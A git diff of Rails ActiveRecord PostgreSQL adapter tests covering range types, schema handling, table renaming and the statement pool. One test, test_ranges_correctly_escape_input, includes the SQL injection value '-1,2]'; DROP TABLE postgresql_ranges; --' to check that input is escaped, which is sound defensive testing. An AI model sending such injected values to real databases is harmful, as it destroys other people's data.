+ @connection.add_column 'postgresql_ranges', 'float_range', 'floatrange'
+ end
+ PostgresqlRange.reset_column_information
+ rescue ActiveRecord::StatementInvalid
+ skip "do not test on PG without range"
+ end
+
+ insert_range(id: 101,
+ date_range: "[''2012-01-02'', ''2012-01-04'']",
+ num_range: "[0.1, 0.2]",
+ ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
+ int4_range: "[1, 10]",
+ int8_range: "[10, 100]",
+ float_range: "[0.5, 0.7]")
+
+ insert_range(id: 102,
+ date_range: "[''2012-01-02'', ''2012-01-04'')",
+ num_range: "[0.1, 0.2)",
+ ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
+ int4_range: "[1, 10)",
+ int8_range: "[10, 100)",
+ float_range: "[0.5, 0.7)")
+
+ insert_range(id: 103,
+ date_range: "[''2012-01-02'',]",
+ num_range: "[0.1,]",
+ ts_range: "[''2010-01-01 14:30'',]",
+ tstz_range: "[''2010-01-01 14:30:00+05'',]",
+ int4_range: "[1,]",
+ int8_range: "[10,]",
+ float_range: "[0.5,]")
+
+ insert_range(id: 104,
+ date_range: "[,]",
+ num_range: "[,]",
+ ts_range: "[,]",
+ tstz_range: "[,]",
+ int4_range: "[,]",
+ int8_range: "[,]",
+ float_range: "[,]")
+
+ insert_range(id: 105,
+ date_range: "[''2012-01-02'', ''2012-01-02'')",
+ num_range: "[0.1, 0.1)",
+ ts_range: "[''2010-01-01 14:30'', ''2010-01-01 14:30'')",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
+ int4_range: "[1, 1)",
+ int8_range: "[10, 10)",
+ float_range: "[0.5, 0.5)")
+
+ @new_range = PostgresqlRange.new
+ @first_range = PostgresqlRange.find(101)
+ @second_range = PostgresqlRange.find(102)
+ @third_range = PostgresqlRange.find(103)
+ @fourth_range = PostgresqlRange.find(104)
+ @empty_range = PostgresqlRange.find(105)
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_ranges'
+ @connection.execute 'DROP TYPE IF EXISTS floatrange'
+ reset_connection
+ end
+
+ def test_data_type_of_range_types
+ assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+ assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+ assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+ assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+ assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+ assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+ end
+
+ def test_int4range_values
+ assert_equal 1...11, @first_range.int4_range
+ assert_equal 1...10, @second_range.int4_range
+ assert_equal 1...Float::INFINITY, @third_range.int4_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+ assert_nil @empty_range.int4_range
+ end
+
+ def test_int8range_values
+ assert_equal 10...101, @first_range.int8_range
+ assert_equal 10...100, @second_range.int8_range
+ assert_equal 10...Float::INFINITY, @third_range.int8_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+ assert_nil @empty_range.int8_range
+ end
+
+ def test_daterange_values
+ assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+ assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 4), @second_range.date_range
+ assert_equal Date.new(2012, 1, 2)...Float::INFINITY, @third_range.date_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+ assert_nil @empty_range.date_range
+ end
+
+ def test_numrange_values
+ assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
+ assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
+ assert_nil @empty_range.num_range
+ end
+
+ def test_tsrange_values
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+ assert_nil @empty_range.ts_range
+ end
+
+ def test_tstzrange_values
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+ assert_nil @empty_range.tstz_range
+ end
+
+ def test_custom_range_values
+ assert_equal 0.5..0.7, @first_range.float_range
+ assert_equal 0.5...0.7, @second_range.float_range
+ assert_equal 0.5...Float::INFINITY, @third_range.float_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.float_range)
+ assert_nil @empty_range.float_range
+ end
+
+ def test_create_tstzrange
+ tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
+ round_trip(@new_range, :tstz_range, tstzrange)
+ assert_equal @new_range.tstz_range, tstzrange
+ assert_equal @new_range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
+ end
+
+ def test_update_tstzrange
+ assert_equal_round_trip(@first_range, :tstz_range,
+ Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET'))
+ assert_nil_round_trip(@first_range, :tstz_range,
+ Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000'))
+ end
+
+ def test_create_tsrange
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal_round_trip(@new_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+ end
+
+ def test_update_tsrange
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal_round_trip(@first_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+ assert_nil_round_trip(@first_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0))
+ end
+
+ def test_create_numrange
+ assert_equal_round_trip(@new_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('1'))
+ end
+
+ def test_update_numrange
+ assert_equal_round_trip(@first_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('1'))
+ assert_nil_round_trip(@first_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('0.5'))
+ end
+
+ def test_create_daterange
+ assert_equal_round_trip(@new_range, :date_range,
+ Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
+ end
+
+ def test_update_daterange
+ assert_equal_round_trip(@first_range, :date_range,
+ Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
+ assert_nil_round_trip(@first_range, :date_range,
+ Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
+ end
+
+ def test_create_int4range
+ assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
+ end
+
+ def test_update_int4range
+ assert_equal_round_trip(@first_range, :int4_range, 6...10)
+ assert_nil_round_trip(@first_range, :int4_range, 3...3)
+ end
+
+ def test_create_int8range
+ assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
+ end
+
+ def test_update_int8range
+ assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
+ assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
+ end
+
+ def test_exclude_beginning_for_subtypes_with_succ_method_is_deprecated
+ tz = ::ActiveRecord::Base.default_timezone
+
+ silence_warnings {
+ assert_deprecated {
+ range = PostgresqlRange.create!(date_range: "(''2012-01-02'', ''2012-01-04'']")
+ assert_equal Date.new(2012, 1, 3)..Date.new(2012, 1, 4), range.date_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(ts_range: "(''2010-01-01 14:30'', ''2011-01-01 14:30'']")
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 1)..Time.send(tz, 2011, 1, 1, 14, 30, 0), range.ts_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(tstz_range: "(''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']")
+ assert_equal Time.parse('2010-01-01 09:30:01 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), range.tstz_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(int4_range: "(1, 10]")
+ assert_equal 2..10, range.int4_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(int8_range: "(10, 100]")
+ assert_equal 11..100, range.int8_range
+ }
+ }
+ end
+
+ def test_exclude_beginning_for_subtypes_without_succ_method_is_not_supported
+ assert_raises(ArgumentError) { PostgresqlRange.create!(num_range: "(0.1, 0.2]") }
+ assert_raises(ArgumentError) { PostgresqlRange.create!(float_range: "(0.5, 0.7]") }
+ end
+
+ def test_update_all_with_ranges
+ PostgresqlRange.create!
+
+ PostgresqlRange.update_all(int8_range: 1..100)
+
+ assert_equal 1...101, PostgresqlRange.first.int8_range
+ end
+
+ def test_ranges_correctly_escape_input
+ range = "-1,2]'; DROP TABLE postgresql_ranges; --".."a"
+ PostgresqlRange.update_all(int8_range: range)
+
+ assert_nothing_raised do
+ PostgresqlRange.first
+ end
+ end
+
+ private
+ def assert_equal_round_trip(range, attribute, value)
+ round_trip(range, attribute, value)
+ assert_equal value, range.public_send(attribute)
+ end
+
+ def assert_nil_round_trip(range, attribute, value)
+ round_trip(range, attribute, value)
+ assert_nil range.public_send(attribute)
+ end
+
+ def round_trip(range, attribute, value)
+ range.public_send "#{attribute}=", value
+ assert range.save
+ assert range.reload
+ end
+
+ def insert_range(values)
+ @connection.execute <<-SQL
+ INSERT INTO postgresql_ranges (
+ id,
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range,
+ float_range
+ ) VALUES (
+ #{values[:id]},
+ '#{values[:date_range]}',
+ '#{values[:num_range]}',
+ '#{values[:ts_range]}',
+ '#{values[:tstz_range]}',
+ '#{values[:int4_range]}',
+ '#{values[:int8_range]}',
+ '#{values[:float_range]}'
+ )
+ SQL
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/rename_table_test.rb b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
new file mode 100644
index 0000000000..056a035622
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
@@ -0,0 +1,34 @@
+require "cases/helper"
+
+class PostgresqlRenameTableTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table :before_rename, force: true
+ end
+
+ def teardown
+ @connection.execute 'DROP TABLE IF EXISTS "before_rename"'
+ @connection.execute 'DROP TABLE IF EXISTS "after_rename"'
+ end
+
+ test "renaming a table also renames the primary key index" do
+ # sanity check
+ assert_equal 1, num_indices_named("before_rename_pkey")
+ assert_equal 0, num_indices_named("after_rename_pkey")
+
+ @connection.rename_table :before_rename, :after_rename
+
+ assert_equal 0, num_indices_named("before_rename_pkey")
+ assert_equal 1, num_indices_named("after_rename_pkey")
+ end
+
+ private
+
+ def num_indices_named(name)
+ @connection.execute(<<-SQL).values.length
+ SELECT 1 FROM "pg_index"
+ JOIN "pg_class" ON "pg_index"."indexrelid" = "pg_class"."oid"
+ WHERE "pg_class"."relname" = '#{name}'
+ SQL
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
index d5e1838543..99c26c4bf7 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
@@ -27,7 +27,7 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase
end
end
- def teardown
+ teardown do
set_session_auth
@connection.execute "RESET search_path"
USERS.each do |u|
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
index cd31900d4e..e99f1e2867 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -1,4 +1,6 @@
require "cases/helper"
+require 'models/default'
+require 'support/schema_dumping_helper'
class SchemaTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
@@ -11,16 +13,19 @@ class SchemaTest < ActiveRecord::TestCase
INDEX_B_NAME = 'b_index_things_on_different_columns_in_each_schema'
INDEX_C_NAME = 'c_index_full_text_search'
INDEX_D_NAME = 'd_index_things_on_description_desc'
+ INDEX_E_NAME = 'e_index_things_on_name_vector'
INDEX_A_COLUMN = 'name'
INDEX_B_COLUMN_S1 = 'email'
INDEX_B_COLUMN_S2 = 'moment'
INDEX_C_COLUMN = %q{(to_tsvector('english', coalesce(things.name, '')))}
INDEX_D_COLUMN = 'description'
+ INDEX_E_COLUMN = 'name_vector'
COLUMNS = [
'id integer',
'name character varying(50)',
'email character varying(50)',
'description character varying(100)',
+ 'name_vector tsvector',
'moment timestamp without time zone default now()'
]
PK_TABLE_NAME = 'table_with_pk'
@@ -47,6 +52,16 @@ class SchemaTest < ActiveRecord::TestCase
self.table_name = 'things'
end
+ class Song < ActiveRecord::Base
+ self.table_name = "music.songs"
+ has_and_belongs_to_many :albums
+ end
+
+ class Album < ActiveRecord::Base
+ self.table_name = "music.albums"
+ has_and_belongs_to_many :songs
+ end
+
def setup
@connection = ActiveRecord::Base.connection
@connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
@@ -61,18 +76,20 @@ class SchemaTest < ActiveRecord::TestCase
@connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING gin (#{INDEX_C_COLUMN});"
@connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING btree (#{INDEX_D_COLUMN} DESC);"
@connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_D_COLUMN} DESC);"
+ @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING gin (#{INDEX_E_COLUMN});"
+ @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING gin (#{INDEX_E_COLUMN});"
@connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
@connection.execute "CREATE SEQUENCE #{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
@connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME} (id integer NOT NULL DEFAULT nextval('#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}'::regclass), CONSTRAINT unmatched_pkey PRIMARY KEY (id))"
end
- def teardown
+ teardown do
@connection.execute "DROP SCHEMA #{SCHEMA2_NAME} CASCADE"
@connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
end
def test_schema_names
- assert_equal ["public", "schema_1", "test_schema", "test_schema2"], @connection.schema_names
+ assert_equal ["public", "test_schema", "test_schema2"], @connection.schema_names
end
def test_create_schema
@@ -104,12 +121,34 @@ class SchemaTest < ActiveRecord::TestCase
assert !@connection.schema_names.include?("test_schema3")
end
+ def test_habtm_table_name_with_schema
+ ActiveRecord::Base.connection.execute <<-SQL
+ DROP SCHEMA IF EXISTS music CASCADE;
+ CREATE SCHEMA music;
+ CREATE TABLE music.albums (id serial primary key);
+ CREATE TABLE music.songs (id serial primary key);
+ CREATE TABLE music.albums_songs (album_id integer, song_id integer);
+ SQL
+
+ song = Song.create
+ Album.create
+ assert_equal song, Song.includes(:albums).references(:albums).first
+ ensure
+ ActiveRecord::Base.connection.execute "DROP SCHEMA music CASCADE;"
+ end
+
def test_raise_drop_schema_with_nonexisting_schema
assert_raises(ActiveRecord::StatementInvalid) do
@connection.drop_schema "test_schema3"
end
end
+ def test_raise_wraped_exception_on_bad_prepare
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.exec_query "select * from developers where id = ?", 'sql', [[nil, 1]]
+ end
+ end
+
def test_schema_change_with_prepared_stmt
altered = false
@connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
@@ -235,26 +274,38 @@ class SchemaTest < ActiveRecord::TestCase
assert_nothing_raised { with_schema_search_path nil }
end
+ def test_index_name_exists
+ with_schema_search_path(SCHEMA_NAME) do
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_A_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_B_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_C_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_D_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+ assert_not @connection.index_name_exists?(TABLE_NAME, 'missing_index', true)
+ end
+ end
+
def test_dump_indexes_for_schema_one
- do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN)
+ do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
end
def test_dump_indexes_for_schema_two
- do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2, INDEX_D_COLUMN)
+ do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2, INDEX_D_COLUMN, INDEX_E_COLUMN)
end
def test_dump_indexes_for_schema_multiple_schemas_in_search_path
- do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN)
+ do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
end
def test_with_uppercase_index_name
- ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
- assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
+ @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+ assert_nothing_raised { @connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
+ @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
- ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
- ActiveRecord::Base.connection.schema_search_path = SCHEMA_NAME
- assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "things_Index"}
- ActiveRecord::Base.connection.schema_search_path = "public"
+ with_schema_search_path SCHEMA_NAME do
+ assert_nothing_raised { @connection.remove_index! "things", "things_Index"}
+ end
end
def test_primary_key_with_schema_specified
@@ -282,14 +333,15 @@ class SchemaTest < ActiveRecord::TestCase
end
def test_pk_and_sequence_for_with_schema_specified
+ pg_name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
[
%("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"),
%("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
].each do |given|
pk, seq = @connection.pk_and_sequence_for(given)
assert_equal 'id', pk, "primary key should be found when table referenced as #{given}"
- assert_equal "#{PK_TABLE_NAME}_id_seq", seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}")
- assert_equal "#{UNMATCHED_SEQUENCE_NAME}", seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
+ assert_equal pg_name.new(SCHEMA_NAME, "#{PK_TABLE_NAME}_id_seq"), seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}")
+ assert_equal pg_name.new(SCHEMA_NAME, UNMATCHED_SEQUENCE_NAME), seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
end
end
@@ -305,18 +357,17 @@ class SchemaTest < ActiveRecord::TestCase
end
def test_prepared_statements_with_multiple_schemas
+ [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+ with_schema_search_path schema_name do
+ Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now)
+ end
+ end
- @connection.schema_search_path = SCHEMA_NAME
- Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now)
-
- @connection.schema_search_path = SCHEMA2_NAME
- Thing5.create(:id => 1, :name => "thing inside #{SCHEMA2_NAME}", :email => "thing1@localhost", :moment => Time.now)
-
- @connection.schema_search_path = SCHEMA_NAME
- assert_equal 1, Thing5.count
-
- @connection.schema_search_path = SCHEMA2_NAME
- assert_equal 1, Thing5.count
+ [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+ with_schema_search_path schema_name do
+ assert_equal 1, Thing5.count
+ end
+ end
end
def test_schema_exists?
@@ -330,6 +381,22 @@ class SchemaTest < ActiveRecord::TestCase
end
end
+ def test_reset_pk_sequence
+ sequence_name = "#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+ @connection.execute "SELECT setval('#{sequence_name}', 123)"
+ assert_equal "124", @connection.select_value("SELECT nextval('#{sequence_name}')")
+ @connection.reset_pk_sequence!("#{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME}")
+ assert_equal "1", @connection.select_value("SELECT nextval('#{sequence_name}')")
+ end
+
+ def test_set_pk_sequence
+ table_name = "#{SCHEMA_NAME}.#{PK_TABLE_NAME}"
+ _, sequence_name = @connection.pk_and_sequence_for table_name
+ @connection.set_pk_sequence! table_name, 123
+ assert_equal "124", @connection.select_value("SELECT nextval('#{sequence_name}')")
+ @connection.reset_pk_sequence! table_name
+ end
+
private
def columns(table_name)
@connection.send(:column_definitions, table_name).map do |name, type, default|
@@ -344,15 +411,20 @@ class SchemaTest < ActiveRecord::TestCase
@connection.schema_search_path = "'$user', public"
end
- def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name, third_index_column_name)
+ def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name, third_index_column_name, fourth_index_column_name)
with_schema_search_path(this_schema_name) do
- indexes = @connection.indexes(TABLE_NAME).sort_by {|i| i.name}
- assert_equal 3,indexes.size
+ indexes = @connection.indexes(TABLE_NAME).sort_by(&:name)
+ assert_equal 4,indexes.size
do_dump_index_assertions_for_one_index(indexes[0], INDEX_A_NAME, first_index_column_name)
do_dump_index_assertions_for_one_index(indexes[1], INDEX_B_NAME, second_index_column_name)
do_dump_index_assertions_for_one_index(indexes[2], INDEX_D_NAME, third_index_column_name)
+ do_dump_index_assertions_for_one_index(indexes[3], INDEX_E_NAME, fourth_index_column_name)
+ indexes.select{|i| i.name != INDEX_E_NAME}.each do |index|
+ assert_equal :btree, index.using
+ end
+ assert_equal :gin, indexes.select{|i| i.name == INDEX_E_NAME}[0].using
assert_equal :desc, indexes.select{|i| i.name == INDEX_D_NAME}[0].orders[INDEX_D_COLUMN]
end
end
@@ -364,3 +436,77 @@ class SchemaTest < ActiveRecord::TestCase
assert_equal this_index_name, this_index.name
end
end
+
+class SchemaForeignKeyTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def test_dump_foreign_key_targeting_different_schema
+ @connection.create_schema "my_schema"
+ @connection.create_table "my_schema.trains" do |t|
+ t.string :name
+ end
+ @connection.create_table "wagons" do |t|
+ t.integer :train_id
+ end
+ @connection.add_foreign_key "wagons", "my_schema.trains", column: "train_id"
+ output = dump_table_schema "wagons"
+ assert_match %r{\s+add_foreign_key "wagons", "my_schema.trains", column: "train_id"$}, output
+ ensure
+ @connection.execute "DROP TABLE IF EXISTS wagons"
+ @connection.execute "DROP TABLE IF EXISTS my_schema.trains"
+ @connection.execute "DROP SCHEMA IF EXISTS my_schema"
+ end
+end
+
+class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.execute "DROP SCHEMA IF EXISTS schema_1 CASCADE"
+ @connection.execute "CREATE SCHEMA schema_1"
+ @connection.execute "CREATE DOMAIN schema_1.text AS text"
+ @connection.execute "CREATE DOMAIN schema_1.varchar AS varchar"
+ @connection.execute "CREATE DOMAIN schema_1.bpchar AS bpchar"
+
+ @old_search_path = @connection.schema_search_path
+ @connection.schema_search_path = "schema_1, pg_catalog"
+ @connection.create_table "defaults" do |t|
+ t.text "text_col", default: "some value"
+ t.string "string_col", default: "some value"
+ end
+ Default.reset_column_information
+ end
+
+ teardown do
+ @connection.schema_search_path = @old_search_path
+ @connection.execute "DROP SCHEMA IF EXISTS schema_1 CASCADE"
+ Default.reset_column_information
+ end
+
+ def test_text_defaults_in_new_schema_when_overriding_domain
+ assert_equal "some value", Default.new.text_col, "Default of text column was not correctly parsed"
+ end
+
+ def test_string_defaults_in_new_schema_when_overriding_domain
+ assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parsed"
+ end
+
+ def test_bpchar_defaults_in_new_schema_when_overriding_domain
+ @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'"
+ Default.reset_column_information
+ assert_equal "some value", Default.new.bpchar_col, "Default of bpchar column was not correctly parsed"
+ end
+
+ def test_text_defaults_after_updating_column_default
+ @connection.execute "ALTER TABLE defaults ALTER COLUMN text_col SET DEFAULT 'some text'::schema_1.text"
+ assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parsed after updating default using '::text' since postgreSQL will add parens to the default in db"
+ end
+
+ def test_default_containing_quote_and_colons
+ @connection.execute "ALTER TABLE defaults ALTER COLUMN string_col SET DEFAULT 'foo''::bar'"
+ assert_equal "foo'::bar", Default.new.string_col
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/sql_types_test.rb b/activerecord/test/cases/adapters/postgresql/sql_types_test.rb
deleted file mode 100644
index d7d40f6385..0000000000
--- a/activerecord/test/cases/adapters/postgresql/sql_types_test.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require "cases/helper"
-
-class SqlTypesTest < ActiveRecord::TestCase
- def test_binary_types
- assert_equal 'bytea', type_to_sql(:binary, 100_000)
- assert_raise ActiveRecord::ActiveRecordError do
- type_to_sql :binary, 4294967295
- end
- assert_equal 'text', type_to_sql(:text, 100_000)
- assert_raise ActiveRecord::ActiveRecordError do
- type_to_sql :text, 4294967295
- end
- end
-
- def type_to_sql(*args)
- ActiveRecord::Base.connection.type_to_sql(*args)
- end
-end
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
index f1c4b85126..1497b0abc7 100644
--- a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -1,38 +1,40 @@
require 'cases/helper'
-module ActiveRecord::ConnectionAdapters
- class PostgreSQLAdapter < AbstractAdapter
- class InactivePGconn
- def query(*args)
- raise PGError
- end
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ class InactivePGconn
+ def query(*args)
+ raise PGError
+ end
- def status
- PGconn::CONNECTION_BAD
+ def status
+ PGconn::CONNECTION_BAD
+ end
end
- end
- class StatementPoolTest < ActiveRecord::TestCase
- def test_cache_is_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ class StatementPoolTest < ActiveRecord::TestCase
+ if Process.respond_to?(:fork)
+ def test_cache_is_per_pid
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
- cache = StatementPool.new nil, 10
- cache['foo'] = 'bar'
- assert_equal 'bar', cache['foo']
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
- pid = fork {
- lookup = cache['foo'];
- exit!(!lookup)
- }
-
- Process.waitpid pid
- assert $?.success?, 'process should exit successfully'
- end
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+ end
- def test_dealloc_does_not_raise_on_inactive_connection
- cache = StatementPool.new InactivePGconn.new, 10
- cache['foo'] = 'bar'
- assert_nothing_raised { cache.clear }
+ def test_dealloc_does_not_raise_on_inactive_connection
+ cache = StatementPool.new InactivePGconn.new, 10
+ cache['foo'] = 'bar'
+ assert_nothing_raised { cache.clear }
+ end
end
end
end
